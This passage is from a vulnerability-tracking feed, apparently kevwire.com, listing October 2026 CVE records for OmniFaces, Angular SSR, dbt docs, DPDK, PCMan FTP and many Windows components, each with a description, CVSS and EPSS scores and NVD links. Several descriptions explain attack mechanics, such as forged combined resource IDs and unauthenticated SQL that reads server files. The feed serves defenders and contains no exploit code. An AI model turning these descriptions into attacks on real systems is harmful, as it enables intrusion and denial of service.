OmniFaces is a utility library for Faces. In OmniFaces versions before 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2, CombinedResourceHandler accepts a structurally valid deflated and base64 encoded combined resource ID without verifying that the server issued it. A forged ID can cause unbounded decoded output, add unique reconstructed IDs to a process-lifetime cache, or combine resources other than stylesheets and scripts. Because jakarta.faces.RESOURCE_EXCLUDES is not applied by this custom resolution path, a forged ID can disclose Facelets source from the webapp resource tree or META-INF/resources. In a deployment configured with the wildcard CDN mapping, a forged ID that selects omnifaces.graphic can also cause a blind, deployment-dependent server-side fetch whose destination derives partly from the request Host header. The flaw does not provide arbitrary file read or establish arbitrary-scheme or arbitrary-destination SSRF. The shared authenticity failure permits memory exhaustion and limited resource disclosure. This issue is fixed in versions 1.14.3, 2.7.33, 3.14.23, 4.7.12, and 5.4.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages.
https://kevwire.com/record/CVE-2026-101896
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. (Oct 14, 2026).
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.32, 21.2.24, and 22.2.0, the @angular/router URL parser stores numeric matrix parameter names and numeric outlet names as properties on initially empty JavaScript objects during Node.js server-side rendering. V8 can interpret these URL-derived keys as array indices and allocate dense backing stores sized to high numeric values, so repeated small path segments cause disproportionate per-segment heap consumption. An unauthenticated attacker can send overlapping requests containing repeated numeric matrix parameters when SSR is enabled, the router directly parses the request URL, and upstream proxies allow semicolons and multiple path segments, eventually exhausting the Node.js old-space heap and terminating the SSR worker. Pure client-side Angular applications are not affected. This issue is fixed in versions 20.3.32, 21.2.24, and 22.2.0.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101896).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101896&date=2026-10-25).
Sources:
NVD CVE-2026-101896: https://nvd.nist.gov/vuln/detail/CVE-2026-101896
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101896&date=2026-10-25
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.32, 21.2.24, and 22.2.0, the @angular/router URL parser stores numeric matrix parameter names and numeric outlet names as properties on initially empty JavaScript objects during Node.js server-side rendering. V8 can interpret these URL-derived keys as array indices and allocate dense backing stores sized to high numeric values, so repeated small path segments cause disproportionate per-segment heap consumption. An unauthenticated attacker can send overlapping requests containing repeated numeric matrix parameters when SSR is enabled, the router directly parses the request URL, and upstream proxies allow semicolons and multiple path segments, eventually exhausting the Node.js old-space heap and terminating the SSR worker. Pure client-side Angular applications are not affected. This issue is fixed in versions 20.3.32, 21.2.24, and 22.2.0.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications.
https://kevwire.com/record/CVE-2026-100406
dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. (Oct 14, 2026).
dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. From 2.0.0-alpha.0 until 2.0.0-alpha.5, dbt docs serve exposes the unauthenticated POST /api/v1/query endpoint in crates/dbt-docs-server/src/handlers/query.rs, which passes caller-supplied SQL to DuckDbViewsBackend::query_arrow() in crates/dbt-index-core/src/backend.rs without authorization or an allowlist. A client that can reach the server can invoke DuckDB filesystem-reading functions to read files available to the dbt process, including files outside the docs index directory. The server binds to localhost by default, but operators can expose it to a network through the host option or DBT_DOCS_HOST setting. This issue is fixed in version 2.0.0-alpha.5.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100406).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100406&date=2026-10-25).
Sources:
NVD CVE-2026-100406: https://nvd.nist.gov/vuln/detail/CVE-2026-100406
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100406&date=2026-10-25
dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications. From 2.0.0-alpha.0 until 2.0.0-alpha.5, dbt docs serve exposes the unauthenticated POST /api/v1/query endpoint in crates/dbt-docs-server/src/handlers/query.rs, which passes caller-supplied SQL to DuckDbViewsBackend::query_arrow() in crates/dbt-index-core/src/backend.rs without authorization or an allowlist. A client that can reach the server can invoke DuckDB filesystem-reading functions to read files available to the dbt process, including files outside the docs index directory. The server binds to localhost by default, but operators can expose it to a network through the host option or DBT_DOCS_HOST setting. This issue is fixed in version 2.0.0-alpha.5.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the...
https://kevwire.com/record/CVE-2026-100236
A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the... (Oct 14, 2026).
A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the destination buffer, and a header longer than the configured GSO segment size can underflow the payload-size calculation. A remote or guest-supplied packet processed with software GSO can trigger an out-of-bounds read or write.
CVSS 8.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100236).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100236&date=2026-10-25).
Sources:
NVD CVE-2026-100236: https://nvd.nist.gov/vuln/detail/CVE-2026-100236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100236&date=2026-10-25
A flaw was found in the DPDK GSO library. When software GSO copies packet headers into a new mbuf, it does not check that the header fits in the source first segment or in the destination buffer, and a header longer than the configured GSO segment size can underflow the payload-size calculation. A remote or guest-supplied packet processed with software GSO can trigger an out-of-bounds read or write.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler.
https://kevwire.com/record/CVE-2016-15060
A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler. (Oct 14, 2026).
A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler. The manipulation results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used.
CVSS 5.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2016-15060).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-15060&date=2026-10-25).
Sources:
NVD CVE-2016-15060: https://nvd.nist.gov/vuln/detail/CVE-2016-15060
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-15060&date=2026-10-25
A vulnerability was found in PCMan FTP Server up to 2.0.7. This affects an unknown function of the component PORT Command Handler. The manipulation results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate...
https://kevwire.com/record/CVE-2026-88160
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88160).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88160&date=2026-10-25).
Sources:
NVD CVE-2026-88160: https://nvd.nist.gov/vuln/detail/CVE-2026-88160
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88160
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88160&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88161
Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88161).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88161&date=2026-10-25).
Sources:
NVD CVE-2026-88161: https://nvd.nist.gov/vuln/detail/CVE-2026-88161
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88161
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88161&date=2026-10-25
Use after free in Windows Local Security Authority (LSA) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88165
Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88165).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88165&date=2026-10-25).
Sources:
NVD CVE-2026-88165: https://nvd.nist.gov/vuln/detail/CVE-2026-88165
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88165
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88165&date=2026-10-25
Out-of-bounds write in Active Directory Domain Services allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88168
Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88168).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88168&date=2026-10-25).
Sources:
NVD CVE-2026-88168: https://nvd.nist.gov/vuln/detail/CVE-2026-88168
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88168
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88168&date=2026-10-25
Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88171
Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88171).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88171&date=2026-10-25).
Sources:
NVD CVE-2026-88171: https://nvd.nist.gov/vuln/detail/CVE-2026-88171
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88171
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88171&date=2026-10-25
Double free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88173
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88173).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88173&date=2026-10-25).
Sources:
NVD CVE-2026-88173: https://nvd.nist.gov/vuln/detail/CVE-2026-88173
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88173
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88173&date=2026-10-25
Use after free in Windows Background Intelligent Transfer Service (BITS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a...
https://kevwire.com/record/CVE-2026-88174
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88174).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88174&date=2026-10-25).
Sources:
NVD CVE-2026-88174: https://nvd.nist.gov/vuln/detail/CVE-2026-88174
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88174
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88174&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Deployment Services allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88177
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88177).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88177&date=2026-10-25).
Sources:
NVD CVE-2026-88177: https://nvd.nist.gov/vuln/detail/CVE-2026-88177
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88177&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88179
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88179).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88179&date=2026-10-25).
Sources:
NVD CVE-2026-88179: https://nvd.nist.gov/vuln/detail/CVE-2026-88179
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88179
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88179&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88180
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88180).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88180&date=2026-10-25).
Sources:
NVD CVE-2026-88180: https://nvd.nist.gov/vuln/detail/CVE-2026-88180
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88180
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88180&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88181
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88181).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88181&date=2026-10-25).
Sources:
NVD CVE-2026-88181: https://nvd.nist.gov/vuln/detail/CVE-2026-88181
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88181
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88181&date=2026-10-25
Out-of-bounds read in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88193
Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88193).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88193&date=2026-10-25).
Sources:
NVD CVE-2026-88193: https://nvd.nist.gov/vuln/detail/CVE-2026-88193
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88193
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88193&date=2026-10-25
Heap-based buffer overflow in Microsoft Scripting Engine allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88219
Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88219).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88219&date=2026-10-25).
Sources:
NVD CVE-2026-88219: https://nvd.nist.gov/vuln/detail/CVE-2026-88219
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88219&date=2026-10-25
Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-96246
Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96246).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96246&date=2026-10-25).
Sources:
NVD CVE-2026-96246: https://nvd.nist.gov/vuln/detail/CVE-2026-96246
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96246
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96246&date=2026-10-25
Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-96252
Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
CVSS 9.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96252).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96252&date=2026-10-25).
Sources:
NVD CVE-2026-96252: https://nvd.nist.gov/vuln/detail/CVE-2026-96252
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96252
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96252&date=2026-10-25
Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96856
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96856).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96856&date=2026-10-25).
Sources:
NVD CVE-2026-96856: https://nvd.nist.gov/vuln/detail/CVE-2026-96856
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
